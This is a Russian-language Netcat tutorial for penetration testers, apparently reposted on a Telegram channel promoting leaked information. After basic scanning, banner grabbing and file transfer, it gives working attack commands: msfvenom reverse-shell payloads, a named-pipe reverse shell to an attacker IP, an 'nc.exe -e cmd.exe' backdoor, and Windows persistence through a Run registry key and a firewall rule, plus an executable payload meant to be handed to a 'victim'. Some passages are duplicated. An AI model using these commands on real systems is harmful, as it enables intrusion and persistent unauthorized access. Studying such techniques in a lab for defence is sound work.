Netcat для Пентестера
@Leakinfo![](https://img3.teletype.in/files/20/39/20393e9d-0d3f-43a6-951c-e8c4a8f3b830.jpeg)
«Будь то сканирование портов или получение обратной оболочки, с Netcat возможно все». Сегодня в этой статье мы рассмотрим одну из наиболее часто используемых сетевых утилит и узнаем, как другие фреймворки усиливают Netcat для создания сеанса.
Netcat, технически используемый как «nc» — это сетевая утилита, которая использует соединения TCP и UDP для чтения и записи в сети. Его могут использовать как злоумышленники, так и аудиторы безопасности. Учитывая сценарий атаки, этот многофункциональный инструмент может управляться сценариями, что делает его довольно надежным, и если мы обсудим раздел безопасности, он помогает нам отлаживать и исследовать сеть.
Почему netcat настолько надежен, что может делать все, будь то сканирование портов, захват баннеров, передача файла или даже создание обратного соединения?
Давайте рассмотрим основные функции netcat и ответим на этот вопрос.
- Он действует как простой клиент TCP / UDP / SCTP / SSL для взаимодействия с веб-серверами, серверами telnet, почтовыми серверами и другими сетевыми службами TCP / IP.
- Он перенаправляет трафик TCP / UDP / SCTP на другие порты или хосты, действуя как прокси-сервер SOCKS или HTTP, так что клиенты указывают свои собственные пункты назначения.
- Netcat может даже подключаться к пунктам назначения через цепочку анонимных или аутентифицированных прокси.
- Шифрует связь с помощью SSL и передает ее по IPv4 или IPv6.
- Он действует как брокер соединений, позволяя двум (или более) клиентам подключаться друг к другу через третий (посреднический) сервер.
Итак, до сих пор вы могли быть в курсе всех функций Netcat, что делает его уникальным и простым.
Давайте попробуем копнуть глубже и выяснить, что еще можно сделать с помощью этого замечательного инструмента.
Базовые команды Netcat
«Help»
или «h»
, этот флаг выпадает из всех возможных вариантов, которые инструмент может сделать для нас. Чтобы начать с netcat, мы будем использовать самую простую команду помощи, а именно:
nc -h
![](https://img1.teletype.in/files/40/58/40586b82-cd6e-4948-ac28-1fb0b23bb3ad.png)
Сканирование портов
Netcat можно использовать как сканер портов, хотя он не предназначен для работы в этом качестве. Чтобы сделать его работоспособным сканером, нам нужно установить флаг «-z»,
который сообщает netcat, о возможности сканировать демон листинга без отправки каких-либо данных. Это позволяет понять, какой тип службы работает на этом конкретном порту. Таким образом, netcat может выполнять сканирование TCP и UDP, давайте посмотрим, как это сделать:
TCP Сканирование
nc -v -n -z 192.168.1.105 21-100
[-v]:
указывает подробный режим- [
-n]:
указывает IP-адреса, состоящие только из чисел. - [-z]: указывает нулевой режим ввода / вывода [используется для сканирования]
Чтобы завершить это сканирование, нам нужно указать диапазон портов. На изображении ниже вы можете видеть, что я упомянул диапазон портов от 21 до 100, при котором выполняющиеся службы будут выгружаться на целевой машине.
![](https://img2.teletype.in/files/d0/d0/d0d0bc10-cce0-45de-864a-4c58467141ef.png)
UDP сканирование
Мы даже можем сканировать порты UDP так же, как сканировали порты TCP. Здесь мы будем использовать флаг «–u»
, который будет активировать режим UDP.
nc -vzu 192.168.1.105 161
В этом сценарии мы упомянули номер порта, а не диапазон. На изображении ниже вы можете видеть, что мы захватили работающую службу «snmp».
![](https://img4.teletype.in/files/f5/2d/f52d74db-c437-4047-917e-9439bcbc9042.png)
В чате
Netcat также можно использовать для общения двух пользователей. Но перед этим нам нужно установить соединение. Чтобы настроить все это, мы будем использовать два устройства: одно будет играть роль инициатора, а другое — слушателя. Как только это соединение будет установлено, связь может быть осуществлена с обоих концов.
Давайте посмотрим на этот сценарий, в котором два пользователя с разными операционными системами общаются друг с другом через установленное соединение Netcat.
Первоначально пользователю root kali необходимо настроить свой «слушатель» netcat через определенный порт, чтобы создать сетевое соединение. Для этого выполните следующую команду:
Давайте посмотрим на этот сценарий, в котором два пользователя с разными операционными системами общаются друг с другом через установленное соединение Netcat.
Первоначально пользователю root kali необходимо настроить свой “listener” netcat через определенный порт, чтобы создать сетевое соединение. Для этого выполните следующую команду:
nc -lvp 1234
здесь
[l]: Listen Mode
[v]: Verbose Mode
[p]: Local Port
Пришло время настроить инициатор, мы сделаем это от пользователя root Ubuntu, просто предоставив IP-адрес системы, в которой мы запустили листенер, а затем номер порта.
nc 192.168.1.109 1234
![](https://img3.teletype.in/files/ab/90/ab900764-0080-453d-9efa-7e658e068fc2.png)
На изображении ниже вы можете видеть, что соединение было настроено, и теперь обе машины могут обмениваться данными друг с другом.
![](https://img4.teletype.in/files/fe/61/fe61da9d-6940-4071-a56c-307b29f294d0.png)
Захват баннера
Баннер — это текстовое сообщение, полученное от хоста, с информацией об открытых портах и службах, а также номера их версий.
Выполните следующую команду, чтобы получить целевые баннеры ftp и ssh:
nc 192.168.1.105 21
nc 192.168.1.105 22
![](https://img1.teletype.in/files/41/3c/413c11bd-19d1-4b6f-8b0a-11332b7a5bf0.png)
Передача файлов
Netcat предлагает нам возможность передавать файлы с одного устройства на другое по сети.
Давайте рассмотрим сценарий, в котором пользователь kali освобождается от необходимости передавать свои файлы пользователю на машине Ubuntu.
Из приведенного ниже изображения пользователь на машине kali устанавливает прослушиватель на порт номер 5555 и делится файлом file.txt с помощью параметра «<».
nc -lvp 5555 < file.txt
![](https://img4.teletype.in/files/72/1f/721f294a-80f8-45ac-96ef-5f810025f69b.png)
Теперь пользователь, сидящий на сервере Ubuntu, загрузит этот файл, выполнив следующую команду.
nc 192.168.1.109 5555 > file.txt
На изображении ниже вы можете видеть, что пользователь Ubuntu успешно получил файл file.txt из 192.168.1.109, который представляет собой не что иное, как IP-адрес пользователя kali.
![](https://img4.teletype.in/files/78/6a/786af956-3f07-456c-aff3-8756000c4ae5.png)
Linux Reverse Shell
Как обсуждалось ранее, netcat может выполнять все, что угодно, поэтому теперь мы попытаемся использовать целевую машину с помощью «msfvenom» для создания полезной нагрузки и настроим listener netcat для захвата сеанса.
Давайте попробуем создать полезную нагрузку с помощью следующей команды:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=6666 R
Флаг «R»
используется для генерации необработанной полезной нагрузки, которая будет отображаться на нашем экране.
![](https://img3.teletype.in/files/60/9c/609ceb4b-9faf-4439-bd96-212bb46be9c9.png)
На изображении выше вы можете видеть, что наша полезная нагрузка готова, теперь пришло время запустить ее через сервер нашей жертвы.
Откройте машину Ubuntu и введите эту полезную нагрузку в терминал. Прежде чем запускать его, вернитесь к машине злоумышленника (kali Linux) и настройте там listener netcat, используя тот же номер порта, который вы использовали при генерации полезной нагрузки.
![](https://img3.teletype.in/files/2c/3d/2c3db884-f8ba-4e13-a476-42be6775bdf6.png)
На изображении ниже вы можете видеть, что, как только жертва запустит полезную нагрузку, мы получим сеанс.
![](https://img1.teletype.in/files/4b/98/4b98da77-5d85-4216-98a1-a1ddb5e95b3d.png)
Часто бывает, что безопасность становится очень эффективной, и мы не можем захватить сеанс с помощью этого метода, но есть другой способ получить reverse shell.
Перед этим установите listener netcat на порт 443:
Когда listener загрузится, просто выполните следующие команды на целевой машине:
mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe | nc 192.168.1.109 443 1>/tmp/backpipe
Это поможет вам обойти защиту и продолжить сеанс netcat.
![](https://img2.teletype.in/files/57/1f/571fcf01-7518-47b7-8fce-65672c631416.png)
На изображении ниже вы можете видеть, что мы успешно захватили оболочку жертвы.
![](https://img4.teletype.in/files/b8/28/b8284c58-b53b-4f3a-8061-30309f414833.png)
Рандомизированный порт
Есть вероятность, что мы не можем выбрать собственный порт для настройки прослушивателя или установления соединения netcat. Ну, у netcat есть специальный флаг «–r»
, который предоставит нам случайный локальный порт.
nc -lv –r
На изображении ниже вы можете видеть, что наш листенер запущен на 38931.
![](https://img1.teletype.in/files/8a/fe/8afed419-b3ac-4a12-9daf-05aeb4469a1a.png)
Есть вероятность, что мы не сможем выбрать собственный порт для настройки листенера или установления соединения netcat. Ну, у netcat есть специальный флаг «–r»
, который предоставит нам случайный локальный порт.
nc -lv –r
На изображении ниже вы можете видеть, что наш листенер запущен на 38931.
![](https://img1.teletype.in/files/8a/fe/8afed419-b3ac-4a12-9daf-05aeb4469a1a.png)
Захват HTTP-баннера
HTTP-баннеры теперь не могут быть легко получены, поскольку они содержат информацию о сервере. Но мы можем использовать netcat для сбора информации о любом веб-сервере.
Просто выполните следующую команду, чтобы управлять целевым сервером и проверять, что мы захватили.
printf "GET / HTTP/1.0\r\n\r\n" | nc 192.168.1.105 80
На изображении ниже вы можете видеть, что я успешно захватил HTTP-баннер, и нам представлен сервер Apache.
![](https://img3.teletype.in/files/e8/8a/e88aa8db-969b-4958-ba62-5ac81cfaf966.png)
Обратное соединение Windows
Бэкдор системы приветствуют нас всякий раз, когда нас отбрасывает назад.
Мы попытаемся создать подобный бэкдор на целевой машине с Windows, который позволит нам войти в него в любое время, когда мы вернемся.
Давайте сначала настроим листенер на нашей машине kali:
nc -lvp 4444
Теперь выполните следующую команду в командной строке Windows жертвы, чтобы создать бэкдор.
nc.exe 192.168.1.109 4444 -e cmd.exe
![](https://img4.teletype.in/files/bb/e0/bbe09a6e-0460-428d-9fac-0c2bdd80d01c.png)
Пора вернуться к машине нашего злоумышленника. На изображении ниже вы можете видеть, что мы находимся в командной оболочке жертвы.
![](https://img1.teletype.in/files/8e/b4/8eb4e9f6-3974-443c-8d7c-2a1c98e1c184.png)
Сохранение Windows 10
Настойчивость играет важную роль в жизни злоумышленника. Итак, давайте попробуем создать постоянный бэкдор с помощью netcat и Metasploit framework на хост-машине, которую мы взломали.
На изображении ниже вы можете увидеть, что я получил сеанс meterpreter на машине с Windows 10.
Теперь загрузите файл netcat.exe
в system32
на компьютере жертвы, используя следующую команду:
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
![](https://img4.teletype.in/files/7f/4b/7f4b5c8e-da77-43b7-aa52-f43dd5b9ae9b.png)
Теперь настройте netcat на листенер на любом случайном порту, например, 4445, откройте порт при запуске и установите соединение.
Используйте следующую команду:
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'
![](https://img4.teletype.in/files/3f/b2/3fb238bc-7a4c-4061-80e5-7979cb0016c9.png)
При успешном подключении netcat мы получим reverse_shell компьютера жертвы.
Теперь пришло время добавить новое правило к брандмауэру с именем «netcat», в котором входящее соединение будет разрешать порт 4445 с помощью интерактивной командной строки cmd, запускающей команду с именем netsh.
Введите следующую команду:
netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445
Давайте проверим рабочий режим и состояние порта, выполнив следующую команду:
netsh firewall show portopening
![](https://img3.teletype.in/files/a4/d6/a4d69c94-c598-4f38-a8b0-ffa71ed20ae1.png)
Итак, со всем этим мы закончили. Теперь, когда жертва снова перезагружает систему, мы получим оболочку netcat. Выполните следующую команду, чтобы подключить наш бэкдор netcat через порт 4445.
nc -nv 192.168.1.105 4445
Мы успешно поддерживаем постоянный бэкдор, теперь, когда жертва загружается, у нас всегда будет его сеанс. Чтобы узнать больше о постоянстве Windows, щелкните здесь.
![](https://img3.teletype.in/files/29/08/2908ab30-61cf-4c88-9b6d-9df15f0c11e9.png)
Полезная нагрузка msfvenom с Netcat
До сих пор мы узнали о Netcat все, от базовых до продвинутых. Итак, давайте узнаем, как мы можем связаться с жертвой через нашу Netcat_shell, используя полезную нагрузку msfvenom.
Запустите терминал и выполните следующую команду, чтобы сгенерировать полезную нагрузку .exe.
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.104 lport=3333 –f exe > shell.exe
![](https://img3.teletype.in/files/63/b4/63b4a156-1dbf-4ef8-a1c2-5817402d8e55.png)
Теперь включите листенер Netcat через порт 3333.
Поделитесь этой сгенерированной полезной нагрузкой с жертвой, как только она откроет ее, вы получите обратное соединение.
![](https://img3.teletype.in/files/e9/dc/e9dc51c4-816d-47f5-bb7f-42b3e4188cd3.png)
Заключение
Вы можете использовать Netcat для открытия TCP- и UDP-соединений между двумя компьютерами на любом порту. Его также можно использовать в качестве инструмента для сканирования портов, такого как nmap. Кроме того, его можно использовать для переадресации портов, прокси, простого веб-сервера и для того, чтобы оставить бэкдор открытым для хакера.
- 🦋 Слитая информация - @Leakinfo
- 🎭 Наша группа > - Точка входа
- ❤️ Поблагодарить Bitcoin